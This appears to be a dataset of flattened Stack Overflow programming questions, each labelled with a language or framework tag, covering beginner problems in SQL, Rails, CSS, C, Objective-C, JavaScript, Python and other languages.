is wrong:   <pre><code>if (player.age == [myarray personatindex:15.age]; </code></pre>   or   <pre><code>nslog(@ @ has a height of %i  [myarray personatindex:15:name:height]; </code></pre>   prints out>> person has a height of 10    i really would appreciate you helping me on this - as a newbie i m finding it hard to move on until i get an understanding of this problem. thank you very much for reading this.,objective-c
how to create a method rails 4  i am new to rails  and am struggling to understand the structure and where and how a method should be instanced.  i have now pretty much confused myself.     this works perfectly in a view the problem is  this is not obeying the mcv rules.   <pre><code>      &lt;%  @showblog.showruns.group(:spec_vote).count.each do |spec count| %&gt;       spec: &lt;%=  #{spec} %&gt;  votes:  &lt;%=  #{count}  %&gt; &lt;br/&gt;        &lt;% end %&gt; </code></pre>   my view should be           &lt;%= @voted.inspect %>  or similar.     with all the other stuff somewhere else.  in some scenario  all that appears on the view is <code>{}</code> which is a nil or nil itself.     my latest try:   <pre><code>    class voted &lt; activerecord::base     def voted(spec count)     @showblog = showblog.find(params[:showblog_id])     @voted =  @showblog.showruns.group(:spec_vote).count.each do |spec count|        spec:#{spec} votes: #{count}       end end end </code></pre>   this has a nil.     i have added this in various place to try see what is going wrong but even with a  no method error  i still don t know where i should see it.<br> logger.error  --------(some word so i know the file name)-------#{@showblog.inspect}  my app is on heroku.com    <pre><code>class showblog &lt; activerecord::base (parent) has_many :showruns  dependent: :destroy end class showrun &lt; activerecord::base (child) belongs_to :showblog end </code></pre>   both controllers contain the normal crud and work fine.,ruby-on-rails
sql query error in defining the alias for column  my following sql query giving me the following error  what does it mean. am i defining the alias fir column in wring way. please help me out with this. my error is this and i am putting query just below the error.   <pre><code>error in select clause: expression near  year . missing from clause. unable to parse query text.    select [tbl_students].passing_year as passing year [tbl_branch].branch_name as branch_name from [tbl_students]  [tbl_course]  [tbl_branch] where [tbl_students].course_id=@courseid                          and   [tbl_students].branch_id in(64)                          and   [tbl_students].course_id=[tbl_course].course_id and [tbl_students].branch_id=[tbl_branch].branch_id                                                 and  (@firstyrpercent is null or [tbl_students].first_year_percent&gt;=@firstyrpercent)                         and  (@secondyrpercent is null or [tbl_students].second_year_percent&gt;=@secondyrpercent)                         and  (@thirdyrpercent is null or[tbl_students].third_year_percent&gt;=@thirdyrpercent)                         and  (@finalyearpercent is null or [tbl_students].final_year_percent&gt;=@finalyearpercent)                         and  (@currentdegeepercentage is null or [tbl_students].current_degree_percent&gt;=@currentdegeepercentage)                         and  (@passoutyear is null or [tbl_students].passing_year&gt;=@passoutyear)                          and  (@currentbacklog is null or [tbl_students].current_backlog=@currentbacklog)                         and  (@sex is null or [tbl_students].gender=@sex)                          and  (@egap is null or [tbl_students].gapin_education&lt;=@egap)                         and  (@highschoolpercentge is null or [tbl_students].highschool_percentage&gt;=@highschoolpercentge)                         and  (@higherschoolpercentage is null or [tbl_students].ssc_percentage&gt;=@higherschoolpercentage)                         and  (@grauationpercentage is null or [tbl_students].graduation_percentage&gt;=@grauationpercentage)                         and  (@diplomapercentage is null or [tbl_students].diploma_percentage&gt;=@diplomapercentage)                         and  (@noofatkt is null or [tbl_students].number_of_atkt&lt;=@noofatkt)                         and  (@validdate is null or [tbl_students].dob&gt;=@validdate) </code></pre>,asp.net
locking/disabling camera programmatically in ios  i ve a requirement where i need to programmatically lock/disable the camera as a security aspect. for example  in cases when my device is lost. i ve googled out but couldn t find any solution. can anyone help me out in providing a solution...    thanks in advance sudheer,ios
how to track unique visitors and page views in rails without javascript   how to track unique visitors and their page views in rails without javascript  in general i only need to count them.,ruby-on-rails
$.getjson problem in spring mvc3.0  i have the following javascript function which i call on the submit button click....     function checkuser()       {           var uname=$( #username ).val();        var pword=$( #password ).val();        alert(uname);        alert(pword);   <pre><code>      $.getjson( login.html  {username: uname  password: pword}                function(message){    alert(message);           });   } </code></pre>   i am using spring mvc 3.0..... following is the controller that i use...     package com.web.controller;    import org.springframework.stereotype.controller; import org.springframework.web.bind.annotation.requestmapping; import org.springframework.web.bind.annotation.requestmethod; import org.springframework.web.bind.annotation.requestparam; import org.springframework.web.bind.annotation.responsebody;    @controller public class logincontroller  {  @requestmapping( /login.html )  public @responsebody string getloginstatus(@requestparam( username ) string username  @requestparam( password ) string password)  {   system.out.println( \n\nin login controller\n\n );   if(username== apoorvabade  &amp; password== apoorva123 )   {    return  login successful!!! ;   }   else   {    return  login failed ;   }  } }    when i click on the submit button  the function corresponding to the /login.html action is not invoked.... i am using the dispatcherservlet to map the requests to the following....     here is the spring-servlet.xml      http://www.springframework.org/schema/beans/spring-beans.xsd    <a href= http://www.springframework.org/schema/context  rel= nofollow noreferrer >http://www.springframework.org/schema/context</a>    <a href= http://www.springframework.org/schema/context/spring-context-2.5.xsd  rel= nofollow noreferrer >http://www.springframework.org/schema/context/spring-context-2.5.xsd</a> >               /web-inf/jsp/          .jsp             web.xml:          spring ajax tutorial project     spring       org.springframework.web.servlet.dispatcherservlet           1         spring   *.html         index.jsp       can anybody tell me the problem please,jquery
how many layers will be used in asp.net application   i have migrated one asp application into the asp.net application  in asp.net application i have created the design pages dynamically from .aspx.cs file. now i want know how many layers are used in my application.,asp.net
dynamic images are not loading in ie <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/5651668/set-time-out-in-javascript >set time out in javascript</a>    </blockquote>     i have method settimeout  images are laoding with dynamic action in ie and ff  but it is not going to next page. any problem in my code    <pre><code>       buffer.append( settimeout(function(){              document.getelementbyid(\  ).append(             component.getmarkupid()).append( \ ).submit() }  100);\n}else{\n ); </code></pre>   java script funtion:   <pre><code> if (document.getelementbyid( safeform4d ).submitted.value ==  false ) {  document.getelementbyid( safeform4d ).submitted.value =  true ;  settimeout(function(){ document.getelementbyid( safeform4d ).submit() }  100);  }else{  document.getelementbyid( tohide ).style.display= none ;  } </code></pre>,javascript
easy way of converting a string to lowercase in python  i have a text as follows.   <pre><code>mytext =  this is avgs_abb and nmn_abb and most importantly gfd_abb this is so important that you have to clean  the lab everyday  </code></pre>   i want to convert it to lowercase  except the words that has <code>_abb</code> in it.    so  my output should look as follows.   <pre><code>    mytext =  this is avgs_abb and nmn_abb and most importantly gfd_abb this is so important that you have to clean  the lab everyday  </code></pre>   my current code is as follows.   <pre><code>splits = mytext.split() newtext = [] for item in splits:    if not  _abb  in item:         item = item.lower()         newtext.append(item)    else:         newtext.append(item) </code></pre>   however  i want to know if there is any easy way of doing this  possibly in one line,python
how to implement application purchase from the iphone   i am implementing application purchase application using apple payment gateway.but how to integrate with iphone i dont know.can u give me some advice for that.,iphone
c++ - read and compare user input   i m pretty new to programming. i wanted to make an application that asks for your information and saves them into a text file (but that s coming up later).    i got stuck here  where i m suppose to make the program read what the user input says:   <pre><code>char nimi[20]; int aika; int ika; char juoma[3];  cout &lt;&lt;  hello!\nwhat s your name \n ; cin &gt;&gt; nimi; cout &lt;&lt;  \n\nhi  ; cout &lt;&lt; nimi; cout &lt;&lt;  !\n ; cout &lt;&lt;  \nes or mf  ; cin &gt;&gt; juoma; </code></pre>   the program should read if <code>juoma</code> is  es  or  mf   and then execute some code depending on the answer.    if something like this would work  it d solve it  but it won t:   <pre><code>if(juoma==es){ cout &lt;&lt;  nice choice!  } </code></pre>,c++
.net convert number to string representation (1 to one  2 to two  etc...)  is there a built in method in .net to convert a number to the string representation of the number   for example  1 becomes one  2 becomes two  etc.,.net
where are object files of c programs stored   after a c source code is compiled  an object file is created. i can only see the .exe file so where can i find the object file  i am using cygwin on windows so i am using gcc to compile programs.,c
clipping rectangles  zindexing and setting coordinates of images overlapping another image using these features  i am trying to get images to overlay a map image and have it so when hovering over images they increase z-index to 2 and get large with more information.    currently i can not get the positions to change or get the figure boxes to hover and enlarge.    here is the html code:           <pre><code>  &lt;nav class= vertical &gt;      &lt;ul&gt;         &lt;li&gt;&lt;a href= # &gt;home page&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;black canyon map&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;black lake map&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;continental divide map&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;estes cone map&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;flattop map&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;meeker map&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;odessa map&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;longs peak map&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;lumpy ridge map&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;petit grepon map&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;sky pond map&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;trail ridge road map&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;twin sisters map&lt;/a&gt;&lt;/li&gt;      &lt;/ul&gt;   &lt;/nav&gt;      &lt;section id= summary &gt;      &lt;h1&gt;longs peak interactive map&lt;/h1&gt;      &lt;p&gt;         at 14 255 feet  longs peak towers above all other summits in          rocky mountain national park. the summer is the only season          in which the peak can be climbed by a non-technical route.          early mornings break calm  but clouds build in the afternoon sky           often exploding in storms of brief  heavy rain  thunder and          dangerous lightning. begin your hike early  way before dawn           to be back below timberline before the weather turns for          the worse.      &lt;/p&gt;      &lt;p&gt;         the keyhole route  longs peak s only non-technical hiking          pathway  is a 16 mile round trip with an elevation gain of          4 850 feet. though non-technical  the keyhole route is still          challenging and is not recommended for those who          are afraid of heights or exposed ledges. hikers should be          properly outfitted with clothing  food  and water. use caution          when ascending or descending steep areas. don t be afraid to          back down when bad weather threatens.      &lt;/p&gt;      &lt;p&gt;         move your mouse pointer over the numbered landmarks in the          map to preview the hike.      &lt;/p&gt;   &lt;/section&gt;      &lt;section id= map &gt;      &lt;figure id= point0 &gt;         &lt;img src= image0.jpg  alt=   /&gt;         &lt;figcaption&gt;            &lt;time&gt;3:30 a.m.&lt;/time&gt; start from the longs peak ranger            station  nine miles south of estes park. be sure to pack             food  extra water              sunblock  warm clothes  gloves  and caps.         &lt;/figcaption&gt;      &lt;/figure&gt;       &lt;figure id= point1 &gt;         &lt;img src= image1.jpg  alt=   /&gt;         &lt;figcaption&gt;            &lt;time&gt;5:30 a.m.&lt;/time&gt; stop at mills moraine for a             view of the sunrise.        &lt;/figcaption&gt;      &lt;/figure&gt;       &lt;figure id= point2 &gt;         &lt;img src= image2.jpg  alt=   /&gt;         &lt;figcaption&gt;            &lt;time&gt;7:30 a.m.&lt;/time&gt; time for a break at granite pass.         &lt;/figcaption&gt;      &lt;/figure&gt;       &lt;figure id= point3 &gt;         &lt;img src= image3.jpg  alt=   /&gt;         &lt;figcaption&gt;            &lt;time&gt;8:30 a.m.&lt;/time&gt; climb through the boulder field             on the way to the keyhole.         &lt;/figcaption&gt;      &lt;/figure&gt;       &lt;figure id= point4 &gt;         &lt;img src= image4.jpg  alt=   /&gt;         &lt;figcaption&gt;            &lt;time&gt;9:00 a.m.&lt;/time&gt; stop at the            agnes vaille shelter for a well-deserved breakfast.         &lt;/figcaption&gt;      &lt;/figure&gt;       &lt;figure id= point5 &gt;         &lt;img src= image5.jpg  alt=   /&gt;         &lt;figcaption&gt;            &lt;time&gt;9:30 a.m.&lt;/time&gt; it s time to go through            the keyhole. be prepared for heavy winds.         &lt;/figcaption&gt;      &lt;/figure&gt;       &lt;figure id= point6 &gt;         &lt;img src= image6.jpg  alt=   /&gt;         &lt;figcaption&gt;            &lt;time&gt;10:00 a.m.&lt;/time&gt; follow the painted targets             along the ledges.         &lt;/figcaption&gt;      &lt;/figure&gt;       &lt;figure id= point7 &gt;         &lt;img src= image7.jpg  alt=   /&gt;         &lt;figcaption&gt;            &lt;time&gt;11:00 a.m.&lt;/time&gt; take special care when crossing             the narrows.         &lt;/figcaption&gt;      &lt;/figure&gt;       &lt;figure id= point8 &gt;         &lt;img src= image8.jpg  alt=   /&gt;         &lt;figcaption&gt;            &lt;time&gt;11:15 a.m.&lt;/time&gt; you re almost there! climb the            homestretch to reach the summit.         &lt;/figcaption&gt;      &lt;/figure&gt;       &lt;figure id= point9 &gt;         &lt;img src= image9.jpg  alt=   /&gt;         &lt;figcaption&gt;            &lt;time&gt;11:45 a.m.&lt;/time&gt; congratulations  you ve reached             the top! time for lunch and a few photos.         &lt;/figcaption&gt;      &lt;/figure&gt;    &lt;/section&gt; </code></pre>       here is the css code in question:   <pre><code>/* figure styles */  figure { background-color: rgb(70  76  222); color: white; width: 150px; border-radius: 15px; position: absolute; z-index: 1; clip: rect(auto  20px  20px  auto) }  figure:hover { clip: none; z-index: 2; }  figure figcaption { font-size: 12px; margin: 10px; }  figure point0 { left: 560; top: 60; }  figure point1 { left: 277; top: 90; }  figure point2 { left: 175; top: 0; }  figure point3 { left: 110; top: 115; }  figure point4 { left: 55; top: 165; }  figure point5 { left: 5; top: 180; }  figure point6 { left: 15; top: 222; }  figure point7 { left: 50; top: 245; }  figure point8 { left: 100; top: 245; }  #point9 { left: 90; top: 220; } </code></pre>   as can be seen i tried a few different things to get this to work. if need be i can edit this with the entire css code i have  i am very new to css and am at a loss as to what to do in order to get this to work.    thanks for any input!,css
check if uicontrol subview is of type uitextfield  i d like to use something like the following code to find the uitextfields that have been added to my custom view which extends uicontrol and then call resignfirstresponder on them to dismiss the keyboard but the xcode compiler won t allow this and gives the message  unexpected interface name uitextfield. expected expression.   what is the best way to achieve my desired aim here    <pre><code>@interface mycustomview : uicontrol @end  @implementation mycustomview     - (void)touchesbegan:(nsset *)touches withevent:(uievent *)event    {         /* dismiss the keyboard associated with any uitextfields in this view */         for (id subview in self.subviews) {             if ([subview iskindofclass: uitextfield] ||                 [subview ismemberofclass: uitextfield]) {                 [subview resignfirstresponder];             }         }     }  @end </code></pre>,objective-c
using join to insert into second table with an identical id column as the first table  i have a database (mysql) that contains two tables with identical primary keys  i have already inserted data into the first table but i want to insert data into the second table at a later time.     the logic i ve got is:    <pre><code>[insert into table2 (col1  col2  col3) values (x1 x2 x3)  where table1.id equals table2.id]  </code></pre>   i can t seem to find anything that works like this for an insert statement in use with php.     any help appreciated!,mysql
is cast to void** needed   i have the compiler complaining (warning) about the folowing.    am i missing something  because i thought this didn t need a cast   <pre><code>char* currentch  = some ptr value; int size;  size = func(&amp;currentch); </code></pre>   with func defined like this   <pre><code>int func(void** ptr); </code></pre>   compiler warning:   <blockquote>    passing argument 1 of  func    from incompatible pointer type  </blockquote>   thx,c
how can i select all tr elements whose tds don t contain a table   how can i select:   <ul> <li>all rows in a table (except the first row)</li> <li>where each td in a row does <strong>not</strong> contain a table </li> </ul>   i ve tried:   <pre><code>var tbl = grd.find( tr:gt(0) ).find( tr:not(:has(table) ); </code></pre>   but this doesn t return any rows.,jquery
mysql filter many-to-many  i have the following tables:   <pre><code>create table `job_requirements` (   `job_id` int(10) unsigned not null    `course_id` int(10) unsigned not null    primary key (`job_id` `course_id`) )  create table `courses_completed` (   `courseid` int(10) unsigned not null    `userid` int(10) unsigned not null    `completiondate` bigint(20) unsigned not null    `completionstatus` int(10) unsigned not null    primary key (`courseid` `userid` `completiondate`) ) </code></pre>   a user can complete a course multiple times with various completionstatuses.  a job can have multiple requirements.  how can i get a list of all users who have completed (completionstatus = 1) all the required courses for a job     the best i ve come up with is a query that returns how many required  non-expired courses a user has completed:   <pre><code>select count(*) from      (         select courseid from courses_completed         inner join courses on courseid = courses.id         where completionstatus = 1         and courseid in (             select course_id from job_requirements             where job_id = 1)         and userid = 23         and (from_unixtime(completiondate)              + interval expiration_days day              + interval expiration_months month              + interval expiration_years year) &gt; now()         group by courseid     ) as sub; </code></pre>   and a query that returns a list of users that have completed any of the required courses:   <pre><code>select userid from courses_completed where courseid  in  (     select course_id      from job_requirements     where job_id = 1 ) group by userid; </code></pre>   i can t figure out how to combine the two so the userid from each row in the 2nd query is passed into the first query,mysql
split a text box in one form to multiple labels into another form  i need to send information input into a text box in one form to labels in another form. i have it split at the moment  but since there is only one split if the user enters more that one space in the text box (lets say first  middle  last) the second form will only show first and middle. i need to split it twice times just in case the user does enter two spaces.     this is the code i have at the moment.   <pre><code>    //name split         if (strtextbox.contains (   ))         {             var fullname = strtextbox;             var names = fullname.split(   );             // perhaps todo -- there could be a middle name/initial             label3.text = names[0]; // first             label5.text = names[1]; // middle initial         }          else //without this conditional if a user only enters a first name the app fails.             label3.text = strtextbox; </code></pre>   i have been trying t figure this out but i cannot seem to wrap my head around it. this code compiles fine but i cannot get it to show the last name.    here is my code:   <pre><code>    //name split         if (strtextbox.contains (   ))         {             var fullname = strtextbox;             var names = fullname.split(   );             // perhaps todo -- there could be a middle name/initial             label3.text = names[0]; // first             label5.text = names[1]; // middle initial         }         else if (strtextbox.contains (    +    ))         {             var fn = strtextbox;             var n = fn.split(   );             label3.text = n[0] +     + n[1]; // first and middle             label5.text = n[2]; // last name         }         else //incase only a first name is entered             label3.text = strtextbox;     } </code></pre>   any suggestions     i already have passing the information to the next form  i just need to fix this conditional so i can get all three names just incase the user does have first  middle  last.,c#
angularjs compiled options list template value= number:10   i ve a  old  unit test in jasmine where i test the selected value from a dropdown with jquery where i search for the selected attribute and get the coresponding value. the last time i ve run this unit tests i ve just got a string with a single number back like  15  and the unit test runs fine.    now with angular 1.4.3 the options rendered html looks like:   <pre><code>&lt;option value= number:15  label= 15 &gt;15&lt;/option&gt; </code></pre>   now i need to check if the selected value is  number:15     can someone tell me when this was invented in angularjs and why  and i don t know whats the keyword to find any google result for this  issue .,angularjs
how to get the height and width of an image when android:minsdkversion= 8   normally  i can use the following code to get the width of an image  but it require api level 16. how to get the height and width of an image when android:minsdkversion= 8    <pre><code>cursor cur = mycontext.getcontentresolver().query(                 mediastore.images.media.external_content_uri  null                  mediastore.images.media._id +  =    new string[] { id }    ); string width=cur.getstring(cur.getcolumnindex(mediastore.images.media.height)); </code></pre>,android
left join returns null despite that there are matches in all tables  i have two tables that not related by foreign key. table_a code column type is nvarchar(10)  table_b code column type is nvarchar(2)  codeid column type is bigint. table_b contains more than 3 millions of rows  i will just provide some short sample:   <pre><code>    table_a     codeid   | code         11       | ds           12       | tr          13       | mp          14       | kd      15       | 2a     16       | ac         ...      table_b     id      | code       1       | ds          2       | ds           3       | ds           4       | tr         5       | tr         6       | mp         7       | kd           8       | kd        9       | 2a     10      | ac     11      | ac      ... </code></pre>   i want to get in result set for each code from table_b associated codeid from table_a  desired output:   <pre><code>     result set         id      | code  | codeid         1       | ds    | 11         2       | ds    | 11         3       | ds    | 11         4       | tr    | 12         5       | tr    | 12          ... </code></pre>   i tried left join tables   <pre><code> select * from  table_b as b  left join table a as a on a.code=b.code </code></pre>   but for some code values like 2a  ac it returns null in codeid column of result set despite that there are matches in both tables.      <strong>update</strong> i just executed query   <pre><code>select * from table_a where code in ( 2a    ac ) </code></pre>   and i haven t got any results in output. but after executing     <pre><code>select code from table_a </code></pre>   i have got rows with 2a and ac values in it in code column.,sql
struct within a struct program won t start  i was trying to make a struct within a struct program that will locate a house and measure it s built time and it s area.    i am getting this error.    [error]  izgradnja  has no member named  povrsina    <pre><code>#include&lt;stdio.h&gt; #include&lt;string.h&gt; typedef struct {     char drzava[30];     char grad[30];     char adresa[50];     char tip[10];     int brojsoba;     int brojradnika;     struct povrsina {     int sirina;     int duzina;     int povrsinasobe; }; }izgradnja; main() {     int i n j;     printf( koliko objekata cemo obraditi: );     scanf( %d  &amp;n);     izgradnja objekat[n];         for(i=0;i&lt;n;i++) {         printf( unesite drzavu u kojoj je vasa kuca: );         gets(objekat[i].drzava);         printf( unesite grad u kojoj je vasa kuca: );         gets(objekat[i].grad);         printf( unesite adresu: );         gets(objekat[i].adresa);         printf( da li gradite kucu ili stan: );         gets(objekat[i].tip);         printf( koliko ima soba  );         scanf( %d  &amp;objekat[i].brojsoba);         for(j=0;j&lt;objekat[i].brojsoba;j++) {             printf( unesite sirinu i duzinu: );             scanf( %d%d  &amp;objekat[i].povrsina.sirina &amp;objekat[i].povrsina.duzina);             objekat[i].povrsina.povrsinasobe = objekat[i].povrsina.sirina * objekat[i].povrsina.duzina;         }         printf( unesite broj radnika koji radi na kuci: );         scanf( %d  &amp;objekat[i].brojradnika);     } } </code></pre>,c
response.writefile to parent folder  i have built a website where all of my main menus read from the same .txt file.  many of these pages are in subfolder and have to read the test.txt file from the parent folder    my webiste test.txt     subfoler        file reading test.txt    i was using  to accomplish this but the files in the subfolder were not updating any changes i made to the test.txt     it was suggested i use &lt;% response.writefile(  test.txt  ) %>.  how do i read the test.txt from a parent directory   i can not seem to get out of the subfolder.,asp.net
why the page continuously reloads after using window.location in the script  i am using cakephp and trying to define this in the script of ctp file. the output is also coming right with it.   <pre><code>if(window.location.pathname= /users/register ){     $( body ).css( position    relative );     $( #footer ).css( bottom    0px );     $( #footer ).css( position    absolute ); } </code></pre>   but the problem is the page keeps on constant reloading automatically when the defined pathname is visited. is there any way to stop reloading continuously. the usage of this is requierd for proper output.,jquery
expression must be a pointer to a complete object type when cast void pointer  i m trying to do function remove extension of a name is type wchar_t or char  inside for() i cast void pointer to type wchar_t or char  then there was an error:   <blockquote>    expression must be a pointer to a complete object type.  </blockquote>   here is sample code to show an instance of the issue by itself.   <pre><code>int removeextension(     void    *p_str      /*  name                        */     bool    iswchar     /*  true：wchar_t  false：char　*/ ) {     int ii  len;      // get length     len = (iswchar)   wcslen( (wchar_t *)p_str ) : strlen( (char *)p_str );      // remove extension     /*　wchar_t　*/     if( iswchar ) {          for( ii = 0; ii &lt; len; ii++ ) {             if( l .  == (wchar_t *)p_str[ii] ) {  //error here                 (wchar_t *)p_str[ii] = l \0 ;     //error here                 break;             }         }     }     /*　char　*/     else {          for( ii = 0; ii &lt; len; ii++ ) {             if(  .  == (char *)p_str[ii]) {       //error here                 (char *)p_str[ii] =  \0 ;         //error here                 break;             }         }     }      return 0; } </code></pre>   i m not understanding what this error is trying to say. there is no object or struct here.,c
javap says there is a main method  java says i m insane  i have some class files from a .jar file. i am looking for a class with a main method  so i can see how this program works without its web baggage.   <pre><code>&gt;javap haplogrepserver/haplogrepmain compiled from  haplogrepmain.java  public class haplogrepserver.haplogrepmain extends java.lang.object{     public haplogrepserver.haplogrepmain();     public static void main(java.lang.string[])       throws java.io.ioexception; } </code></pre>   great! i ve found it   <pre><code>&gt;java haplogrepserver/haplogrepmain exception in thread  main  java.lang.noclassdeffounderror: org/restlet/component     at java.lang.classloader.... </code></pre>   ok i can add that   <pre><code>&gt;java -cp org.restlet.jar haplogrepserver/haplogrepmain exception in thread  main  java.lang.noclassdeffounderror: haplogrepserver/haplogrepmain caused by: java.lang.classnotfoundexception: haplogrepserver.haplogrepmain     at java.net.urlclassloader$1.run(urlclassloader.java:217)     at java.security.accesscontroller.doprivileged(native method)     at java.net.urlclassloader.findclass(urlclassloader.java:205)     at java.lang.classloader.loadclass(classloader.java:321)     at sun.misc.launcher$appclassloader.loadclass(launcher.java:294)     at java.lang.classloader.loadclass(classloader.java:266) could not find the main class: haplogrepserver/haplogrepmain. program will exit. </code></pre>   what gives,java
enabling ios restrictions from an application  i have being searching information  tutorials about how to enable a restriction in ios programatically from an installed app. let say i want to disable safari from my  parental control  application remotely  does ios allow me to do that and if so how     any ideas,ios
codewars challenge. which test is causing the fail   can anyone find out what is wrong with this code  i run the code on codewars and pass every test except one... sadly it does not display what the input was for that specific test so it is very difficult to figure it out.    here are the challenge instructions:    the new  avengers  movie has just been released! there are a lot of people at the cinema box office standing in a huge line. each of them has a single 100  50 or 25 dollars bill. a  avengers  ticket costs 25 dollars.    vasya is currently working as a clerk. he wants to sell a ticket to every single person in this line.    can vasya sell a ticket to each person and give the change if he initially has no money and sells the tickets strictly in the order people follow in the line  return yes  if vasya can sell a ticket to each person and give the change. otherwise return no.    <strong>i found that the code works for all tests if i swap the check for amount50 >= 1 and amount25 >= 1 with the amount25 >= 3 but i am not sure why this works.</strong>   <pre><code>function tickets(peopleinline){   let amount25 = 0;   let amount50 = 0;   let amount100 = 0;    for(let i = 0; i &lt; peopleinline.length; i++){      if(peopleinline[i] === 100){       if(amount25 &gt;= 3){         amount25 -= 3;         amount100++;       }else if(amount25 &gt;= 1 &amp;&amp; amount50 &gt;= 1){        amount25 -= 1;        amount50 -= 1;        amount100++;       }else{         return  no ;       }     }      if(peopleinline[i] === 50){       if(amount25 &gt;= 1){         amount25--;         amount50++;       } else {        return  no ;       }     }      if(peopleinline[i] === 25){       amount25++;     }   }   return  yes ; } </code></pre>,javascript
order by association  here are my models.   <pre><code>restaurant has many patrons patrons have many transactions </code></pre>   in controller index all patrons like    @pts = restaurant.find(1).patrons    and in view i simply list the patrons attributes  inluding number of transaction per patrons like      how would i order the resultset (@pts) by transaction count of each patron     thanks,ruby-on-rails
how to write whats print() to my console to a .txt file  i m terrible at python. what this code prints to the console is exactly what i want put into a .txt file. i ve tried several things unsuccessfully. since i can t seem to attach the csv file i was using  advice would be helpful.    <strong><em>soccer_players.csv</em></strong>:   <pre><code>this is actually the entire csv file: name height (inches) soccer experience guardian name(s) joe smith 42 yes jim and jan smith jill tanner 36 yes clara tanner bill bon 43 yes sara and jenny bon eva gordon 45 no wendy and mike gordon matt gill 40 no charles and sylvia gill kimmy stein 41 no bill and hillary stein sammy adams 45 no jeff adams karl saygan 42 yes heather bledsoe suzane greenberg 44 yes henrietta dumas sal dali 41 no gala dali joe kavalier 39 no sam and elaine kavalier ben finkelstein 44 no aaron and jill finkelstein diego soto 41 yes robin and sarika soto chloe alaska 47 no david and jamie alaska arnold willis 43 no claire willis phillip helm 44 yes thomas helm and eva jones les clay 42 yes wynonna brown herschel krustofski 45 yes hyman and rachel krustofski </code></pre>   <strong><em>script</em></strong>:   <pre><code>  import csv    #open up the soccer_players.csv and turn the info into a big list with lists inside   if __name__ ==  __main__ :     with open( soccer_players.csv   newline=  ) as csvfile:        artreader = csv.reader(csvfile  delimiter=   )       rows = list(artreader)      header = rows.pop(0) #seperating the keys ex:  name  from the values ex:  john       for playerinfo in rows:       del playerinfo[1] #deleting the height from the lists as we don t need it.      experience = [] #a list of players with soccer experience     noexperience = [] #a list of players with no soccer experience      #putting the players into either the experience or noexperience lists     for row in rows:       if row[1] ==  yes :         experience.append(row)       else:         noexperience.append(row)       teamsharks = []     teamdragons = []     teamraptors = []     teams = [teamsharks  teamdragons  teamraptors]     teamname = [ sharks    dragons    raptors ]      #function combining 1/3 of the experienced/inexperienced into one of the three teams     def sortingifplayed(ifplayed):       teamsharks.extend(ifplayed[:int(len(ifplayed)/3)])       teamdragons.extend(ifplayed[int(len(ifplayed)/3):int(len(ifplayed)/(3/2))])       teamraptors.extend(ifplayed[int(len(ifplayed)/(3/2)):])      sortingifplayed(experience)     sortingifplayed(noexperience)      #a function to take a list of players info by team  turn it into a string  and print it out      def printteam(team):       for playerinfolist in team:         playerinfostring =     .join(playerinfolist)          print(playerinfostring)       print(  )      x = 0     for team in teams:       print(teamname[x])  #prints the team s name above the list of players info       x += 1       printteam(team) #calls the function to print the players info below the team name`` </code></pre>,python
getting a  method definition not found error  and don t know why  i am going through apple s programming with objective-c and doing the very simple exercises along the way. for some reason i am getting an error saying that a <code>method definition cannot be found</code>. i ve checked for spelling and caps and the method is both in the <strong>.h</strong> and <strong>.m</strong> files. can t figure out why it s doing it.    specifically it is saying that the method definition for  <em>say something</em>  cannot be found. here is the code:    <strong>.h</strong>   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface xyzperson : nsobject  @property nsstring *firstname; @property nsstring *lastname; @property nsdate *dateofbirth;  - (void)saysomething; - (void)sayhello; - (void)sayshutup; - (void)sayhola; + (id)person;   @end </code></pre>   and the <strong>.m</strong>   <pre><code>#import  xyzperson.h   @implementation xyzperson   - (void)saysomething:(nsstring *)greeting {     nslog(@ %@   greeting); }  - (void)sayhello { [self saysomething:@ hello  world! ]; }  - (void)sayhola { [self saysomething:@ hola  amigos! ]; } - (void)sayshutup { [self saysomething:@ shut up! ]; } + (id)person { return [[self alloc]init]; }   @end </code></pre>,objective-c
listens for stopping and starting of process  is there any way for a java application on windows to be notified when a process stops and starts - for example listen to when ms word starts and stops,java
making application available to the public  i have been writing a personal application which a friend has expressed interest in and asked if i would give them a copy of it. the problem is  that this application relies heavily on a database hosted on a remote cloud service. so  with best practices/security and data integrity in mind  if i was to make this application available to the public (not just one or two friends) would it be in best practices to change the database mechanic in general  from:    <blockquote>    connect to db > query db > return result set  </blockquote>   to:   <blockquote>    host asp site > application curls site > site connects &amp; queries   database > site returns result set > application works with the curl   response  </blockquote>   is this a secure way of making the data publicly available  if not  why  are there more secure or less complex ways,c#
